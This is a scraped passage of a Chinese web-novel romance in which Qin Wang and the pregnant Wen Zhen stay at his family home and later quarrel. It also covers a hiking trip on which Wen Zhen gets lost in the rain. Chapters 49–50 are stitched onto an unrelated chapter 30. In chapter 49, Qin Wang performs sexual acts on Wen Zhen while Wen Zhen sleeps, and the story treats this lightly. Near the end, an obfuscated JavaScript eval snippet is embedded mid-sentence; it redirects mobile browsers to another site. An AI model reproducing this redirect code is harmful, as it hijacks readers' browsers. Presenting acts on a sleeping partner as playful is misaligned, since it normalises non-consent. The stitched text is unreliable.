温真看着照片里才三岁的秦妄,明明才那么大一点,眉眼之间就有威严的样子,咬人时的神情也非常的坚毅,一点也不觉得自己在做错事,后面翻了几张,都是秦妄张大嘴巴咬人的照片,像个小狼崽子。 温真忍不住笑,终于明白他为什么爱咬自己了,原来是从小养成的坏习惯。 时间越来越晚,原本想等雪停下之后再走的,外面的雪却越下越大,地面上积了一层白色。 “雪厚了,车子不好开,要不住一晚上吧。”秦夫人道。 其实这是不合规矩的,温真和秦妄还没有办婚礼,按理说不能住在一起,可是转念一想,温真都怀孕了,还有什么规矩可言。 留宿在这里…… 男人从小长到大的家里…… 知道秦夫人是好心,而且他们确实是恋人的关系,留宿也没什么,温真纤长的睫毛颤动着,还是有些犹豫,便询问付钰宁的想法。 付钰宁觉得没什么,“好啊,正好我明天下午和秦宝章一起去学校。” “对,明天让司机送他们两个去学校。” 温真点头。 虽然留宿了,秦夫人也没让温真住在秦妄的房间,而是给他另外收拾出来一间客房。 “这是个习俗,没结婚之前,两个人回家不能住在一起,不然会影响财运。” 秦妄道:“封建迷信。” 深夜便摸进了温真的房间里。 【📢作者有话说】 留评发红包啊 49 ? 第 49 章 ◎禁止和节制的美妙◎ 秦妄进来时, 温真正要躺下,他也跟着躺在温真身旁。 “不能睡在一起……”温真无可奈何地笑, “会影响财运。” 秦妄捧着他的脸,“信则有,不信则无。” “我不信这东西,那它就影响不了我。” 他把温真的嘴挤成金鱼的形状,唇瓣嘟起来,露出洁白的牙齿。 然后用自己的嘴去蹭。 温真挣开, “我信……” “你怎么和他们一样封建迷信。”秦妄哼笑,“以后被骗买保健品的就是你们。” “……”温真不想和他争辩了。 秦妄舔他的唇,“宝贝。” 舌沿着唇缝隙舔, 轻微的痒意让温真睫毛扑闪, 脸颊涌起晕红,情不自禁想要张大一点, 让他侵入进去时, 然而又猛地清醒, 绷紧唇,见他不亲了,温真才柔声,“别在这里……” 秦妄忽然把他抱起来,“不想去我房间看看吗?” “带你参观一下。” “这样会被发现的……”温真被他抱着, 不得已搂紧他的脖子, 羞涩又紧张道。 “都睡了。”秦妄走出去。 夜晚的宅子更加肃穆寂静一些,除了男人的脚步声和衣服窸窣声,听不到其他声音, 他们像两个相爱的幽灵在房子里私会。 秦妄推开了自己房间的门。 秦妄放他下来, 温真小心地踩住地面, 羞涩地看他一眼,秦妄挑眉,温真便开始打量他的房间。 四方形,空间很大,有一个露天的阳台,要比他自己住的地方采光好很多,一些家具摆设也能看出是精心设计和昂贵的。 带玻璃窗的柜子吸引了温真。 温真轻轻地走过去,隔着透明玻璃去看,上面一排放着男人从小到大的照片。 是温真没有在相册里看见过的。 应该是17或者18岁,秦妄穿着军装,那时候他便已经很高了,在同伴中间鹤立鸡群,头发剃得很短,深邃的眉眼冷沉,身姿挺拔,些许的少年气流露出来,要比现在好亲近许多。 照片是大合照,他站在最中间,其他的人都贴近他,一眼便能看出来他在这群人中很有权威和令人崇拜的。 “青春期时候太无法无天了,被送到军队里一段时间。”秦妄解释这张照片的由来。 旁边还有一张是女人牵着十岁左右的秦妄。 女人穿着鹅黄色的套裙,戴着珍珠项链,脸庞温柔美丽,笑意盈盈地看着秦妄,而秦妄双手抱胸,脸臭臭地盯着镜头。 照片的背景就在宅子的花园,那个时候应该是春天的下午,阳光将花朵照得更加鲜艳,也让镜头里的女人更加动人。 这张照片温真刚才也没有在相册里看过。 “这个是你妈妈吗?”温真小心地问。 “嗯,”秦妄垂眼,“拍完这张照片就去世了。” “抱歉。”温真不知道怎么安慰他,他自己也还在思念父母。 “我父母也是出了意外……”温真斟酌着。 “她是自杀。”秦妄声音有点冷。 温真心一颤,他还以为她这么年轻,是因为和他的父母一样出了意外所以才…… 原来是自杀,可为什么会自杀呢?她生活优渥,有三个孩子,就连在自杀之前,看起来都那么开心幸福…… “后来我猜她应该是得了抑郁症,那时候我爸和我哥都没有意识到,她话变少,也不爱出门,每天坐在窗前发呆,只以为她是暂时的心情不好……”秦妄坐在椅子上,语气还是很平静。 温真走过来,秦妄抬起头,抱住他的腰,脸贴在温真圆润的孕肚上。 其实相比于母亲死亡带给他的痛苦,他更痛苦的是,他不知道当初母亲为什么会抑郁。 这让他在很长一段时间产生了一种很绝望的无力感,有时候他听到某些员工抑郁时,心里便会发紧。 母亲带给他心理阴影让他直接把抑郁和死亡看成是一体。 没有痊愈的选择,只有死亡。 温真顿了顿,手放在他头顶,轻轻抚摸起来。 十分钟后,温真躺在床上,他害怕秦妄难过,所以秦妄亲他的脸他没有躲,还安慰他,“你别伤心……” 秦妄嗯一声又亲他的唇,接着往下亲他的下巴、脖颈,然后开始打开他的衣扣,被猛地吃住嘬弄时,温真才意识到不对劲。 羞耻又慌张地推开他,再去看他的神色,根本没有难过,眼睛里闪着精光…… “为什么不给亲了。”秦妄捏住他的脸笑。 刚才对他那点同情瞬间烟消云散,温真背对他,闭上眼睛睡觉。 秦妄从背后抱住他,声音低沉,“以后有什么不开心,别憋在心里。” *** 第二天下午,司机送付钰宁和秦宝章去上学,温真也和秦家人告别。 这之后的几天,秦妄又忙起来,温真却每日清闲得不行,这是他自大学毕业之后最清闲的一段时间,难得的还不会为今后的生计焦虑,温真每天便看看别人画的漫画,或是约温潼一起吃饭。 这天,他收到了前几天买的种子,他看别墅前面一块空地空着,就想种点花,因为是冬季,可选的品类很少,只能种一些耐寒的花,温真买了一些铃兰。 他也算有栽种的经验,之前在阳台上种过一些蔬菜,他上次回家把之前买的锄头也拿来,用来给地松土。 刚下过雪,地很湿软,一点也不费力。 家里的佣人看见了,吓都要吓死了,赶忙过来阻止他。 温真笑了笑,“没关系,我咨询过医生了,只要小心一点不会有事的……” 佣人没办法,只好在一旁小心翼翼地盯着他,给他搭把手。 松了一遍土,把花株载种进去,快要完成时,秦妄提前回来了。 温真便坐在客厅的沙发上,伸出自己磨红的手给秦妄看。 秦妄沉着脸盯着他。 温真露出一点笑意,“快弄完了,这样到春天的时候就可以先看到花了。” 秦妄脱掉外套,摘掉手表,帮温真把剩下的种完了,种完之后,秦妄抱着他一起去洗澡。 两个人干干净净清清爽爽地躺在床上。 “下周我去岛城几天,大概一周回来。”秦妄吃住红玛瑙一样的圆珠,在齿间来回地吮弄,舔吃,时而用牙尖刺一下上面的小孔。 温真急促喘气着,浑身都泛着红色,想要推他,又被弄得浑身发软。 接着那双热滚滚的手往下,还以为他要zuo,结果只是摸了摸他的孕肚。 月份越来越大,温真越来越喜欢男人的气味和抚摸,被他这样摸着,身体暖融融的绵软起来。 脸颊情不自禁地蹭着他的脸颊…… 而等他睡着了,秦妄兴奋起来,亲弄他的唇,把唇瓣捏开,捣鼓进去。 脸颊凸出一个大大的圆包。 秀气的眉毛蹙起来,秦妄警觉地观察,好在没有醒过来,就在他打算深入一些时,温真忽然睁开了眼睛。 先是迷茫,意识到他在干什么时,开始震惊羞耻…… 秦妄头皮一紧,被发现反而刺激了他,弄了温真一脸。 月亮高悬,秦妄盯着温真的背影,滚动喉结,“抱歉。” “我混蛋。” 温真没有说话,过了一会儿,他起身,走到客房里面,把跟在他身后的秦妄“砰”地关在门外。 秦妄:玩脱了。 *** 秦氏大楼,晚上十点了,秦妄还没走,他不走,赵程和路明远也没办法走,他们两个交换一个眼神。 “怎么回事?以前不是六点半准时就走了吗?” 自从和温真在一起后,除了特别忙,秦妄每天走得很准时,老板下班早,他们当然也跟着下班早,但这几天,秦妄又开始晚下班。 终于熬到十点半,秦妄才走,赵程送他回去,到了家门口,秦妄在车里坐了一会儿才下车。 老板刚下车,他也不能立即就走,不然显得他多心急下班,虽然他确实很心急下班。 秦妄在门口站了一会儿才进去。 原本总会给他留灯的二楼窗户也暗了。 赵程琢磨着,不会是吵架了吧。 陈妈听见脚步声,趴在门口,没有出去迎接秦妄,暗中观察着。 她也发现了他们的不对劲,以前温真总是坐在沙发上等秦妄,秦妄回来后,便抱住温真回房间,晚饭都是她送上去的。 这几天温真吃完饭便上楼,不到七点就关灯了,连卧室的门都要锁上。 早上吃饭的时两个人也不说话,明显是在冷战,虽然不知道为什么,但她还是觉得肯定是秦妄的错,毕竟她没见过比温真还好脾气的人,能让这么好脾气的人不开心,肯定做了什么不可饶恕的事情。 虽然她和温真才认识没多长时间,便已经倒戈向了温真,坚决拥护温真。 秦妄回到家,就见家里漆黑一片,厨房里连个剩饭也没有,就连家里的佣人都不出来迎接他。 他上了二楼,推了推卧室的门,还是锁住了。 从那天晚上之后,他便丧失了进入的卧室的权利。 他拖着步伐去了书房。 温真听见外面的脚步声,坐了起来,想打开门看看,可是又把这个念头压下去了,如果不是那天晚上他醒过来,他还不知道男人趁着他睡着的时候做了什么令人羞耻的事情…… 温真捂住发红的脸,怎么会有这样精神不正常的人…… 半夜里,温真迷迷糊糊去上厕所,厕所灯太刺眼了,温真没开灯,也没看见里面站着一个人,直接撞了上去。 脑袋磕到温热的掌心里,温真才清醒几分,睡眼惺忪认出是男人后,转身打算去楼下上。 秦妄直接把他拽到怀里,“不上了?” “不怕尿裤子。” “你出去……”温真被他问得发羞。 “之前不是我帮你吗?还给你嘘嘘。” 温真羞得去捂他的嘴,秦妄忍不住笑,到底还是出去了,站在门外。 到了孕晚期,温真晚上会起夜,他在这里就是为了等他。 他怎么也没想到有一天他见温真一面要在晚上两点的厕所里。 温真走出来,没有看他,回房间。 “我明天走……”秦妄跟在他身后,“去一周。” 温真并没有因为他要走便原谅他的意思,依旧把他关在门外。 第二天早上,温真站在窗户前,看着他拿着行李上车,车子走远了,他才去门口那里盯着车屁股,一直消失不见。 然后垂头回到家中。 过了三天,温真便已经不生气了,开始想念男人,盼着过了一周,男人没有回来,只给他发来一条短信,说工程说了一点事情,要推迟几天回来。 温真盯着那条消息沉默着,好不容易等着推迟的日期,结果又是一条说要晚几天的信息。 温真在床上坐了一会儿,从柜子里拿出男人的衬衣…… 另一边的秦妄上火上得厉害,他嘴里面长了一个水泡,疼得凶猛,他也懒得涂药。 这边的工程也遇到了问题,上下全都在糊弄,一来便检查出来许多不合格的产品,不合格的生产流程,秦妄每天不是对着手底下的人发火,就是对着供应商发火…… 原本说好一周能回去的,为了给他们收拾烂摊子一直往后拖,每天回去,他都要听一段大悲咒即静心,而且这次和温真分开的一段时间,他才知道自己对温真的瘾究竟有多大,光是想起温真,便月长得发疼。 嘴里的水泡越来越大,他忍着,一直到没办法忍耐时,才一下子咬破,剧烈的疼痛让他头皮发麻,涌起一种爽感。 他忽然意识到禁止和节制的美妙,摩挲着温真穿过的nei裤,他也不发泄,自己给自己上了一层心理上的禁锢,带着折磨他的欲渴,他照样和供应商见面,和下属开会。 一直到他们返程回去。 他在门口看着温真给花浇水,露出一截子手腕,被冻得雪白,骨节上点缀着粉色,像是被关久了的野兽,整个血液都沸腾起来了。 【📢作者有话说】 太bt了啊啊啊 50 ? 第 50 章 ◎好像真的被男人带的疯掉了◎ 温真发觉这次秦妄回来后有些不对劲。 原本该出差一周推迟了差不多半个月, 半个月没见,温真对他只剩下想念, 不会不和他说话了,晚上的也没有再锁门。 两个人又继续睡在一起。 男人并不像从前那样抱他,没有任何亲热举动,一开始温真以为他是累了,接下来几天都是这样,他在回避和自己的肢体接触。 温真以为他可能是对自己感觉到厌恶和腻了, 其实从一开始温真便觉得男人对他不论是欲望还是情感都太暴烈和狂热了。 就像是一根木头,如果小火燃烧,可以燃烧一个月, 如果大火, 那就只能烧三天,火越旺, 燃烧的时间便越短。 感情也是如此。 对于他可能不爱自己的事情, 温真会有些难过, 但并不会要死要活,毕竟他不是十八九岁了,早已过了相信人会相爱一辈子的年龄。 可很快,温真发现自己多虑了,一天夜里, 他做了一个噩梦, 梦里的秦妄带着另一个比他年轻的男孩子回到这个家,让温真从这里搬出去,刚出生的孩子在温真怀里大哭。 温真惊醒时, 发现男人坐在一旁, 瞳孔幽深, 正用一种奇怪的眼神盯着自己。 而看他的姿势和神态,显然是已经这样盯着自己很久了。 之后的几天,温真每次醒来,男人都没有睡觉,就那样一直不动地盯着自己。 那种眼神并不像对温真腻了或者厌弃,还流露出欲望,可更多的是……垂涎? 这个词忽然在温真脑子里冒出来,温真头皮一紧,温真又仔细观察他几天,发现他不仅刻意和自己保持肢体距离,还阻止自己闻到温真身上的气味。 除了睡觉,他会离温真在一个他闻不到温真身上气味的距离。 温真忽然想起某些动物,会拉长狩猎的时间,让自己足够的饥饿,饥饿会驱使它们拥有更猛烈的爆发力咬死动物,也会让它们食用猎物时感觉更美味。 毕竟当一个人吃饱后再去吃任何美味的东西都会觉得一般,可当一个人饥肠辘辘,即使是普通的粥也觉得鲜香。 温真脊背瞬间渗出冷汗,所以此刻他在自己给自己设置禁欲期? 想想两个人从分房睡,到现在差不多快要一个月的时间了,男人原本便很暴烈,如果他终于忍耐不了的时候,那…… 温真心一颤,莫名恐惧起来,可恐惧的同时,他又感到些许的刺激。 邻居家养了一条金毛,每到晚上六点便会遛狗,有一次温真散步的时候,它挣着绳子跑到温真面前,伸着舌头看着它。 “斯卡奇,走了。”接着狗主人又对温真歉意地笑笑,“你好,我叫程之谓,就住在你们家隔壁。” 温真看着他,似乎是因为长期健身缘故,所以胸肌……很大,胳膊也都是垒成一块一块的肌肉,看起来像一头虎鲸。 他的脸和他的身材形成极端的反差,他长了一张很青涩单纯的脸,笑的时候还有两个酒窝。 第二天温真正在书房看书,忽然听到佣人大叫一声。 “这是哪里来的狗啊!” 温真下楼就看见一条金毛在他刚种的铃兰上来回地打滚,佣人拿扫把驱赶它,它以为佣人和它玩,咬住扫把往后拽。 佣人松开扫把,它便叼着扫把在院子里疯跑。 “温先生,你快进屋,不知道哪里来的疯狗,别伤到你了。”佣人很害怕这狗再撞到温真,护在温真前面。 “没事。”温真柔声叫它的名字,“斯卡奇。” 金毛松了扫把,忽然乖巧地蹲在地地上。 过了一会儿,程之谓便急匆匆地找过来,他看见院子里的狼藉,内疚得不行,不停地道歉。 “实在对不起,我刚把它的绳子解开,它就冲出家门……” “哎呀,你能不能看好自己家的狗,你看看这刚种的花,都被它给压断了。”佣人抱怨着。 “对不起,”程之谓把狗绳套在斯卡奇的脖子上,然后道:“这种的是铃兰吧,我正好会一点园艺,我帮你们重新栽种……” “不……”温真刚想说不用了,又忽然想到什么,点点头,“那麻烦你了。” 程之谓看有很多已经被压死了,即使重新栽种也活不了,便去花鸟市场买了一些新的铃兰。 开始帮温真重新栽种时候已经是下午五点了,他把买来的铃兰先一株一株地放好,然后松土。 温真倒是没想到他松土时候还真有模有样的,动作看起来要比他专业多了,栽种完后还告诉了温真许多养护的知识。 温真保持着微笑,其实并没有听进去,他一直留意着门外。 直到传来车声,男人回来了…… 如果男人看见自己趁他上班的时候,邀请别的男人到家里还有说有笑的,会破禁吗? 意识到自己那种隐秘的期待后,温真觉得自己也被他带的精神不正常了,可是身体又微微的战栗着,像是用一块肥美的肉故意去引诱饿极了的野兽…… 余光里看见男人踏进院子里,温真露出柔和的笑意,询问程之谓,“你累吗?要不要进屋歇一歇。” 程之谓也确实累了,而且他感觉温真人挺好的,虽然才认识没多久,便有一种和他很合得来的感觉,他便没有客气。 “那我坐一会儿,你家里就你一个人吗?” 身后响起脚步声,温真涌起一种被人用视线凝住的悚然。 温真颤动着眼睫,没有回答。 “这位是?”冷淡的声音传来。 正要进屋的程之谓慌忙转身,就见一个穿着西装三件套的男人,他本身便很高了,可是男人更高,看他几乎是居高临下。 他头发剃得很短,让他显得不那么好亲近,而那双漆黑的瞳孔正泛着一种森然的冷意,原本种花出了一身热汗,此刻汗全都发凉。 “你,你好……我是你们的邻居,斯卡奇把温先生种的花弄坏了,所以我……” 程之谓越解释越磕巴。 栓在门上的斯卡奇汪汪大叫起来,男人看了它一眼,它立即噤声。 程之谓以为温真的丈夫和温真一样都是很温和的人,没想到他看起来那么的令人恐惧。 原本还想和温真好好聊聊种花的事情,被对方的弄的没了心情,和温真告别后便带着斯卡奇匆匆离去。 “今天怎么这么早……”温真轻声问。 男人正在脱外套,温真和他保持着一定的距离。 佣人拿走衣服,男人转过身,盯着他,“如果不是早回来,还看不到你邀请别的男人进屋。” 手背上的青筋一根一根地凸起来,目光死死钉着他,带着一种极其沉重和黏着的渴切,似乎马上便要爆发出来了。 温真惊惧着,肾上腺素也跟着飙升起来,让他战栗心悸,可明明惧怕,却又让他那里泛起细微的痒意和酸楚。 温真羞耻地咬住唇,惊觉自己真的被男人带的不正常了。 佣人适时地走过来,冲散了他们之间的对峙,凸起的青筋慢慢地平息下来,秦妄去洗澡,并没有对他做什么。 接下来的几天程之谓见到温真便会快速地走过,或是看见他时便掉头回去。 天气更寒冷了一些,温真给女儿打电话,让她在学校里穿多一点衣服,付钰宁应了一声后,没有像之前那样急着挂电话,像是有什么事情要和温真说一样。 温真担心地询问她是不是有什么事情时,付钰宁又说自己没事,把电话挂掉了。 高三的课间都是埋头做题的,陈垚遇到一道不会做的题,正打算问付钰宁,发现付钰宁正趴在桌子上睡觉。 “宁宁,你这段时间没休息好吗?怎么一到教室酒就睡。” 付钰宁睁开眼睛,没什么精神,“最近总感觉有点累。” “是不是压力太大了。”陈垚问。 付钰宁:“可能是有点。” “不过你还是去医院看看吧,你是不是也该到复查的时间了。” “明天和老师请个假吧。”付钰宁强打起精神开始写试卷。 温真和她打电话,要她多穿衣服,她本来想和说去医院的事情,可觉得温真怀着身孕,不想让他为自己担心,便自己请假挂号去了医院。 *** 秦夫人最近和温真熟络起来,她怕温真在家里待的无聊,每天会带着他出去转转。 秦明景区那里原本修建被封了,这几天修好了,游客可以进去参观,秦夫人便打算带温真一起去。 新修建的景区移植许多腊梅,还加设了一座寺庙。 “到时候我们去拜拜,保佑你生育的时候平安。” 听到是秦明景区那里,温真便想要拒绝了,他还忘不了和秦妄在附近酒店发生的荒唐事。 “秦妄应该和你说了吧,秦明景区附近有一块地被秦氏拿下了,现在工程正在收尾中,秦妄这几天都在那里和别人交涉。” 听到秦妄在那里,温真心思动了动,答应下来。 去的那天天空湛蓝,云像是丝带一样一缕一缕在飘着。 刚刚解封,来的人不是太多,腊梅树一望无际,有很多人拍照,秦夫人笑着问温真,“要不要拍照?” 温真笑着摇摇头,于是秦夫人便让温真帮她拍,她要摆的姿势很多,温真也没有不耐烦,尽量把她的漂亮拍出来,秦夫人很满意温真给他拍的照片,之后他们一起去拜神佛。 温真跪在蒲团上,很虔诚地希望女儿、自己肚子里的宝宝,以及他和男人能够健康平安,不要有任何意外的发生。 许完自己的愿望,温真无比尊敬地跪拜。 拜完后,秦夫人带他去吃饭,“我们去这家,清淡一点……” 秦夫人没有听到回应,就见温真朝前方那栋已经建完正在装修的大楼看去。 秦夫人笑道:“走吧,我们过去看看。” 封闭型进行装修的地方,外人是不让进的,秦夫人以前来过,这里的经理认识秦夫人,给他们一些便利,便带着他们去见秦妄。 是打算建设一个大型的儿童乐园,一楼已经有了雏形,可以看到很多温真熟悉动画场景,温真一边走一边打量。 前面的秦夫人停下脚步,温真也跟着停下,随着她的目光看去。 就在不远处巨大的树屋前,站着一群西装革履的男人,都是一副矜贵的精英派头。 而最中间的那位男人身躯高大,给人很强的压迫感,面容威严、睥睨、冷峻。 其他的人都尊崇地看着男人,对男人的话语言听计从,没有人敢说一个不字,甚至对他的姿态也是不自觉地弯下腰。 温真从来没有见过这副模样的男人,这么的位高权重,让人惧怕的同时又忍不住地臣服。 温真忽然涌起一个可怕的想法,如果让男人这个时候破禁,忍不住渴求他呢? 这个念头一出来,温真头皮一紧,涌起一种在刀尖上舔血的刺激感。 好像真的被男人带的疯掉了…… “我们走吧……”温真轻声和秦夫人说。 然而男人发现了他们,他撇下众人,朝温真走过来。 30.第 30 章 黄色的心…… 温真有些难为情。 什么也没有回复关掉手机。 四十分钟后他们到达了目的地。 泽山山脚下有村落,都是经过规划的,房子统一的颜色高度, 温真带着阿美和珍珍找了一家旅店,打算吃完午饭后再上山。 旅店是一对夫妻开的,不像城市里那么正规,人也热情一些,给温真他们炖了一只鸡,又炒了几个青菜。0 吃饭的时候听温真说要山上,丈夫把自己的女儿叫出来。 “这山挺高的,容易迷路,让我女儿带你上去。” “谢谢。”温真向他们道谢。 吃完饭他们在房间里眯了一会儿,两点多时候出发,从旅店的后面那条路一直走,走到山脚下,然后看到很多种葡萄的。 “这里的昼夜温差大,农户的地也不多,种粮食挣不到什么钱,后来就开始种葡萄了,我们这里的葡萄吃出来有一股玫瑰味。” 旅店老板的女儿叫李园园,刚大学毕业,目前在家待业,扎着马尾,脸盘圆圆的,带一副眼镜,她一边走一边和温真他们介绍。 温真往葡萄棚里看,绿幽幽的藤架上,挂着一串一串的葡萄,有客人来买的话,那些农户便爬上梯子剪下来,然后装到箱子里。 有的农户以为他们是来买葡萄的,还喊着让他们尝一尝。 阿美尝了一下,“奇怪,这个葡萄真有玫瑰味。” 温真也跟着尝了一下,确实和他在市面上买的葡萄味道不一样,带着玫瑰味。 温真打算回去的时候买一些给女儿吃。 李园园带他们继续往山上走,越往上人烟越少,树木也越茂密,遮天蔽日,几乎看不到阳光,一层雾飘着。 “怪不得要让人带着上山了,第一次来真的很容易迷路。”阿美看着四周。 “我小时候在山上走丢过几次。”李园园笑。 珍珍害怕道:“现在不会走丢了吧。” “只要沿着这条路就不会。” “现在山上一般都有信号,就算迷路也能看着导航绕出去,别担心。” 温真听着他们说话,一边仔细地观察着四周。 采风确实对创作有帮助,以前如果有山林的场景需要画,他一般都是从网上搜图片,或者是根据影视剧的来画,这样画出来总感觉有点悬空,现在他身处在这里,耳朵听到的,眼睛看到的,以及闻到的草木的气味,都是在网上没办法获取的。 又爬了半个小时,珍珍忽然叫了一声。 “那是什么东西啊!怎么还半截身子埋在里面!” 温真看过去。 是一些古人的石像,腰以下埋在土里,有一道一道的竖痕,肩膀和头顶都长了青苔。 也许是因为山林太茂密了,阳光没办法照射进来,所以显得有些阴森森的,猛地一看,确实有点恐怖。 “噢,别害怕,这是前几年村民们弄的,为了吸引游客。” 石像后面还有一棵大栗树,树枝干的直径估计有两米左右,树干的表面覆了一层小枝干,密密麻麻的,还有的小枝干卷曲成一盘,像人脸一样。 “这树也太吓人了,我们赶紧走吧。”珍珍催促。 他们便又往上爬,爬了一个小时左右到了山顶,山顶有一处亭子,他们在上面歇脚。 从亭子里眺望,能看到连绵的山脉,山脉的最中央,隐隐能看到一栋红色的古庙。 “别说,这次爬山真让我有了灵感,我几乎想象到一个少年坐在亭子里修仙的样子。”阿美道。 歇了半个小时后,他们原路下山。 一路上温真都没有说话,阿美问,“温工你是不是太累了?” 温真摇摇头。 石美青说他们接下来要画的本子是原创剧本,也就是说故事要他们自己想,温真原本还在绞尽脑汁要画个什么故事,来山里一趟后忽然有了一些雏形。 回到旅馆天色还早,阿美和珍珍歇了一会儿,便和李园园一起玩游戏,温真则是待在自己的房间,快速把今天看到的可能要用到的场景勾勒出来…… 其他倒是很容易在纸上重现…… 石像和那棵树,因为珍珍害怕,温真没有仔细上前观察…… 温真想了想,还是决定上山一趟。 “啊,你要重新上去一趟?” “会不会太晚了。”珍珍问李园园。 “倒也不晚,有时候我就在这个时候上山,回来天还没黑。” “不过,我一会要进城一趟,可能没办法陪你一起去了,我让我爸爸带你去吧。” “谢谢,”温真笑,“不用了,你不是说手机也能导航吗?我自己上去就好了,我也不去山顶,就去看看那颗树和石像,应该很快会回来。” 阿美有点不放心,“要不我们和你一起去吧。” “天晚了,这个时候那地方应该更阴森,珍珍会害怕的。”温真柔声,“我自己可以。” “那好吧,你自己小心点,有事情给我们打电话。” 温真和她们告别,自己一个人上了山,也许是爬过一次的缘故,这次他没用半个小时就到了石像那里。 石像周围的树木太密了,视线很暗,温真拿出手机,拿出手机才发现电量只剩百分之三十了,他抿唇,还是打开了手电筒,本来想着用一会儿就关掉的,结果他用灯照着看石像,发现那些石像上还镌刻着密密麻麻的符号…… 当时李园园也没有说,温真研究了一会儿也没研究出来,便上下左右拍了一张照。 然后是那颗树……除了树干表面奇特外,长得也和正常的参天大树不一样,它不是完全笔直的,在温真差不多的高度那里,这棵树开始分支,分出去的那一个枝干平行于地面,粗到可以供一个人躺在上面,树冠那里郁郁葱葱,大得像个圆形的树叶洞穴…… 温真发散着思维,然后绕着树走了一圈拍照。 太阳快要落了,温真不敢多停留。 李园园带他们上山的路,从山脚到半山腰人工铺了青石板的台阶,只要到达半山腰,然后再沿着这些台阶一直往下走,即便是闭着眼睛也能回旅馆。 温真走了半个小时,气喘吁吁地抬头看,并没有看到青石板台阶,周围还是参天高的大树,温真涌起不好的预感,从口袋里掏出手机。 手机亮屏后,电量那里一抹令人焦虑的红,温真打开地图导航APP,温真的手机用了好几年,电池不耐用,运行也卡顿,越是快没电的时候越是卡,此刻卡在APP启动卡了足足又一分钟,终于进到APP主页后,手机也黑屏了。 与此同时,太阳彻底下山了。 * 旅馆里,又进来两个要住宿的男人,二十多岁,中等个子,身材略微清瘦,穿着衬衣,听说这里的葡萄很有名,公司派他们来购买葡萄给职工发福利的。 老板安排他们住宿后,其中一个人出去了一趟,大概三十分钟左右回来。 柜台那一片白天自然光还亮堂一些,晚上因为吊顶上的灯时间久了,所以很昏暗,老板从电视屏幕上抬起头看了对方一眼,然后继续看电视。 阿美在房间里睡了一觉,醒来看时间才八点钟。 刚爬完山没有什么感觉,可过了一阵子她整个身体都是酸痛的,累得一沾枕头就睡着了,她本来想继续睡的,可又慌里慌张地坐起来。 珍珍也醒了,“怎么了。” “这都八点钟了,不知道温工回来了没有。” 温真的房间在一楼,阿美敲门没人应,然后问一楼柜台前的老板。 “我刚才看见他回来了。”老板想起那个身影。 “那应该是回来了,温工带着手机,那么大的人了,应该不会出事。”珍珍打了个哈欠。 阿美心想也是。 然后两个人就一起回到房间,到房间发现听见淅淅沥沥的声音,打开窗户一看外面下小雨了。 雨越下越大,温真头发湿透了,天黑之后,他又凭借记忆找下山的路,然后兜兜转转还是回到石像的地方,他出门穿了一件冲锋衣,上半身好一点,可裤子却湿透了。 种葡萄的地方都是昼夜温差大,何况现在还下雨了,这样下去很容易失温,温真不敢再乱走,也算是幸运,在石像附近找到了一个可容纳一个人的洞穴,他蜷缩在里面…… 下雨就算了,还刮风,尤其是这种树多的地方,温真已经尽力把自己蜷缩成一小团,风还在往他身体里灌,夹杂着雨水,像钝刀子一样割在他身上…… 他爬了两趟山,没有进食也没有喝水,身体里没有热量,还被凉风吹着,整个人都有点昏昏沉沉,他看过一些救援记录片,知道这个时候睡过去,那就可能再也醒不过来了…… 想到自己的女儿,如果自己死了,只剩下宁宁一个人,她还那么小,不能没有他…… 他掐自己掌心,逼着自己清醒…… 他已经出来这么久,阿美和珍珍肯定会发觉不对劲,然后来找他的…… *** 晚上九点钟,秦妄从秦氏集团大楼离开。 赵程在前面开车,“秦夫人说让你回家一趟。” 秦妄低声嗯一声。 手指敲打着键盘。 赵程从后视镜里偷看,估计在给温真发短信。 可能是没有回应,开始打温真的电话。 车厢安静,安静到赵程也听到了机器女音的官方话语。 “对不起,你拨打的电话已关机。” 大概是一种友好服务,对方如果挂掉电话也会说你拨打的电话已关机这种话,赵程怀疑,温真是不想接秦妄的电话,挂掉了。 男人脸色微沉。 车子拐弯后,到了秦家的宅子,里面灯火通明。 秦总没有下车,又拨打了一遍。 还是关机。 赵程提醒,“秦总,到了。” “温先生也许正在忙,所以……” 秦妄道,“给石美青打电话。” 还在公司加班的石美青忽然接到赵程的电话,她略带疑惑地接通,等挂了电话后,她立即给阿美和珍珍拨去电话。 阿美被铃声吵醒了,“石总,温工啊,温工在房间啊。” “电话打不通?你等会儿,我去他房间看看。” 阿美挂了电话,出了房间,结果到走廊发现外面非常冷,她也顾不得回去穿外套了,快步走到温真的房间敲门,结果敲了半天门没人应,就算是睡得再死,阿美敲门的力度也应该听到了,她莫名有些不好的预感,让老板帮忙开一下门。 房间里并没有温真的身影。 秦家客厅里,秦富威半躺着,秦舢在看新闻,秦夫人从厨房端来吃食。 “都这么多天没回来了,一回来又打电话?”秦夫人看着站在外面的男人。 “最近是挺忙的。”秦舢道。 “工作永远忙不完,总要抽出一点时间陪陪家人吧,不行,我叫他进来陪爸爸说说话。”秦夫人放下盘子,“顺便问他一些事情。” 秦夫人刚走到玄关处,秦妄便进来了,他拿过外套。 “要走?” “这还没回来多长时间就急着走?” 秦夫人看他脸色不对劲,问,“是不是出什么事情了。” 没多久库里南便驶向了泽山方向。 泽山山脚下,石美青也赶来了。 石美青面色铁青,“怎么回事?你们不是和温工一起的吗?为什么他自己一个人上山没下来你们都不知道?” “我们在山上看到了一处石像,温工想要再去看看,他不想麻烦我们,自己一个人去的,我们以为他下来了……”珍珍从来没见过石美青这副严厉的样子,又看到石美青后面站着的那个男人也一身寒气,面容带着阴翳。 本来就内疚,被吓得要哭出来了…… 虽然同属于一个市,但天气却分割开来,市区能看到月亮,可这里却淅淅沥沥下着雨,穿着外套还是凉气入骨。 赵程撑伞在秦妄的头顶,“秦总,我已经让那些村民帮忙上去找了。” 秦妄一言不发,穿上雨衣,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220712|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急救的东西塞到包里。 “您要上山?”赵程一惊,“一直下雨,山路很滑,万一出事了……” *** 旅馆老板在前面带路,他头上戴着手电筒,脚下蹬着雨靴,手里拿着棍子。 